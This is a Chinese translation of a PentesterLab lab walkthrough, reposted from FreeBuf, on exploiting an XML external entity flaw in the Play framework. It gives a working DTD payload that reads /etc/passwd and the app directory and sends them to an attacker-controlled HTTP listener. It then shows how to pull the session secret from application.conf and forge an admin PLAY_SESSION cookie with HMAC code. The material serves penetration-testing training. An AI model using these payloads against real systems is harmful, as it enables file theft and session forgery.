转载

Play框架的XML Entity Exploit

本渗透测试练习提供专门的 练习平台 ,大家可以在pentesterLab中下载VM镜像,还可以读一下原文英文教程。

介绍

本课程在只用框架中描述了XML entity漏洞的利用,这个漏洞可以的达到在任意目录检索任意的文件和列表的目的。

有趣的是,这个bug是完全透明的,并可可以很长时间都没有被发现。对这个bug进行黑盒测试,你需要知道你想要寻找的目录或者文件,如果你想不看教程试试自己的本领,当然可以,但是还是建议你先看 这里的 (英文且需要翻墙)。

Play Framework

这个渗透框架是一个web的框架,在这个框架中,开发者可以快速的使用java或者scala编译开发web应用。这样可以有序管理代码,并且url可以像Ruby-on-Rails一样被映射。

就像Ruby-on-Rails,当收到Http请求时,Play框架管理多种文本类型。因此应用会非常简单并且与XML文件没有关联,这仅仅是一个登陆页面。然而,既然Play框架可以自动解析XML请求,我们就能使用这个bug去读取任意的文件。

缺点:

当解析xml文件时,最重要的安全检查就是确保xml Entity不可用,XML实体可以告诉XML解析器去匹配特定内容:

1. 从文件系统 2. 从web服务器(HTTP,HTTPS) 3. 或者从一个FTP服务器上

这显然可以被攻击者利用来查看应用上的敏感的信息(比如路径,密码,源代码等等)

Exploition

我们如何来利用这个漏洞呢?请看下图!

Play框架的XML Entity Exploit

我比较喜欢的方法(这个是一个黑盒测试),有四个相邻的终端。

1. 第一个终端:发送初始化请求。(step1)

2. 第二个终端:发送DTD。(step2&3)

3. 第三个终端:浏览被发送到服务器上的信息。

4. 第四个终端:调试

初始化请求—第一步

首先,我们需要发送一个正确的http请求,最简单的方法就是写一个小脚本去连接服务器。然而我们并需要管回复,但是我们仍然可以所以目标。你可以使用代理或者手动netcat来做。但是如果你用netcat的话就需要手动设置Centen-Length Header的长度了。

初始化信息的请求必须是POST请求,这样可以确保框架可以解析请求包。在这个web应用中,我们尝试登录的时候,一个这样的POST消息就发送出去了。

我们需要修改这个请求来发送XML,这样我们就需要做下面的工作。

1. 删掉没用的东西

2. 在消息包中添加XML信息。

3. 改变Centent-Type字段(大家都知道这是要干嘛的喔)

于是我们就改成了如下的样子:

POST /login HTTP/1.1 Host: vulnerable Connection: close Content-Type: text/xml Content-Length: 97   <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://192.168.159.1:3000/test.dtd"> <foo>&e1;</foo> 本地DTD:http://192.168.159.1:3000/test.dtd

现在我们有了想要发送的数据包(包含XML),我们可以把它发送到服务器了,如果进行的顺利的话,服务器将会相应一个400错误,因为不能索引DTD。

Serving the DTD

为了使用DTD或者其他的文件,我们需要一个web服务器,这可以在任何一台服务器上做到,然而你将需要能看见是否服务器取回DTD。在真实的场景中,目标服务器也许不能进入你自己的的服务器,所以你得有办法解决这个问题:

最简单的办法就是:

1.在前台Run一个小型的web服务器。我个人比较喜欢使用webrisk,并且留一个Shell来随时启动web服务器。

Bash:alias web="ruby -rwebrick -e's=WEBrick::HTTPServer.new(:Port => 3000, :DocumentRoot => Dir.pwd); trap(/"INT/"){s.shutdown};s.start'"

2.运行web服务器的同时使用tail –f来列出收到的每一个请求。

如果你使用了上面的别名,不出意外你能看到下面这些东西:

% web [2015-03-31 08:19:28] INFO  WEBrick 1.3.1 [2015-03-31 08:19:28] INFO  ruby 1.9.3 (2012-12-25) [x86_64-darwin12.2.1] [2015-03-31 08:19:28] WARN  TCPServer Error: Address already in use - bind(2) [2015-03-31 08:19:28] INFO  WEBrick::HTTPServer#start: pid=6028 port=3000

如果你成功了,记得检查一下你使用浏览器来看你的web网页的时候下面的log出现在shell中:

localhost - - [31/Mar/2015:08:20:46 AEDT] "GET /test.dtd HTTP/1.1" 200 153 http://localhost:3000/ -> /test.dtd

使用下面的DTD,这样就能强制发送给你这些消息了:

<!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>"> %p2;

这个DTD将会强迫XML解析器读取/etc/passwd中的内容并且把它的值传给p1. 然后接着创造另一个变量p2,这个变量将会包含一个含有p1的值恶意连接。然后使用%p2打印p2的值,这样,在解析了DTD的时候,你就会看到这个东西了:

<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>

[/etc/passwd]这里面的内容就是/etc/passwd中的内容。我们回顾一下我们刚开始发送的数据包。数据包包含了一个索引:e1: <foo>&e1;</foo>

一旦服务器完成DTD过程,就回释放掉到e1的索引,并且发送/etc/passwd到你的服务器上。

第五步,浏览信息

最后我们需要接受信息,我们可以这样来做:

1. netcat –l –p 3001 但是你每次进入TCP端口时都需要重启进程。 2. socat TCP-LISTEN:3001,reuseaddr,fork – 这条命令让第一条请求到达之后端口不被关掉,并且阻塞后面的进程。

于是,现在万事俱备了!

Play框架的XML Entity Exploit

看右上角,密码已经出现了!

GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1 User-Agent: Java/1.7.0-internal Host: 192.168.159.1:3001 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive

那么接下来,我们来谈谈如何在互联网中探测这种漏洞:

首先,在互联网中我们不能保证服务器允许回连。为了寻找这种漏洞(并且服务器解析了外部名),你可以使用DNS。

为了达成目的,你只需要安装一个DNS服务来检测log就可以了,然后你可以使用XML Entity来指向你的域名:例如 http://rand0m123.blahNaNl.io ,把信息发送出去。如果这个服务器有这种漏洞(可以解析外部DNS名),你将会看到来自你的目标的DNS解析请求。

寻找私密URL:

现在一切正常,我们需要寻找到私密URL,Play框架使用一个route文件来寻找那些可用的URL。我们需要找到这个文件来得到私密URL。

一般方法就是去找应用的位置。我们可以尝试读取/proc/self/environ这个目录。然而,这些许并没有什么卵用。因为XML解析器不能读proc下面的文件(可能是因为使用了DataInputStream)

如果我们想使用老办法/etc/passwd,并且把它URL编码,我们就会看到Play User显示:

% irb 1.9.3-p362 :001 > require 'uri'  => true 1.9.3-p362 :002 > puts URI.decode("GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1") GET /BLAH?root:x:0:0:root:/root:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/false tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

这个user的home文件夹位于/opt/play-2.1.3/xxe/,因此这里面一定有我们需要的东西。

因为XML解析器的不同,我们有可能解析到一个目录列表。唯一的方法就是去尝试!!!接下来我们把DTD文件指向/opt/play-2.1.3/xxe/:

<!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3/xxe/"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>"> %p2;

接下来我们就能看到下面的内容了:

GET /BLAH?.gitignore%0A.settings%0Aapp%0Aconf%0Alogs%0Aproject%0Apublic%0AREADME%0ARUNNING_PID%0Atarget%0Atest%0A HTTP/1.1

解码结果如下:

GET /BLAH?.gitignore .settings app conf logs project public README RUNNING_PID target test  HTTP/1.1

这样我们就可以找到conf/routes。一旦你成功查看了routes文件,你就能可以进入秘密URL了。

干预Session:

另一个Play application重要的文件就是application.conf,这个文件包含了登陆session的密码。这个文件通常在conf文件夹中,一旦你拥有这个文件,你就可以轻易的登陆了。

首先,你需要拿到conf/application.conf这个文件(使用教程提供的方法),然后你需要使用这个文件来伪造session,为了做到这一点我们需要了解一下session都有些什么东西。我们可以拿到application的源代码,来理解登陆逻辑。

基于conf/routes文件,我们知道java中的方法:controlers.Application.login在我们提交表单的时候被调用。一般来说这个源码在app/controllers/Application.java中(或者.scala)。

一旦我们拿到了controller的元大吗我们就可以看到session是如何被管理的,例如下面的代码:

      User user = User.findByUsername(username);       if (user!=null) {           if (user.password.equals(md5(username+":"+password) )) {             session("user",username);             return redirect("/");

我们将使用admin给user赋值来伪造一个session。

如果了解过Play Session Inject( url贴 上)的话,你就会惊奇的发现Play的session内部已经改变了。

以前是这样的 signature-%00name1:value1%00%00name2:value2%00 在这个Play的版本中 signature-name1=value1&name2=value2

代码用法在framework/src/play/src/main/scala/play/api/mvc/Http.scala中:

def encode(data: Map[String, String]): String = {   val encoded = data.map {     case (k, v) => URLEncoder.encode(k, "UTF-8") + "=" + URLEncoder.encode(v, "UTF-8")   }.mkString("&")   if (isSigned)     Crypto.sign(encoded) + "-" + encoded   else     encoded } 

我们需要添加变量user=admin

最后我们可以登陆这个session,源代码如下:

  def sign(message: String, key: Array[Byte]): String = {     val mac = Mac.getInstance("HmacSHA1")     mac.init(new SecretKeySpec(key, "HmacSHA1"))     Codecs.toHexString(mac.doFinal(message.getBytes("utf-8")))   }

在Ruby中,我们可以这样使用:

KEY = "[KEY FOUND IN conf/application.conf]" def sign(data)   OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, KEY,data) end

最后一步就是知道session的cookie名,既然可以在conf/application.conf中被改变,默认的名字就是PLAY_SESSION.在浏览器中设置这些cookie之后,我们可以看见我们作为admin已经登陆了。

Play框架的XML Entity Exploit

结论

这个练习教我们如何使用Play框架中的XML entity的漏洞。这个漏洞相当有趣,因为它以一种和开发者完全相反的方式去影响Play框架。

* 作者:VillanCh,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...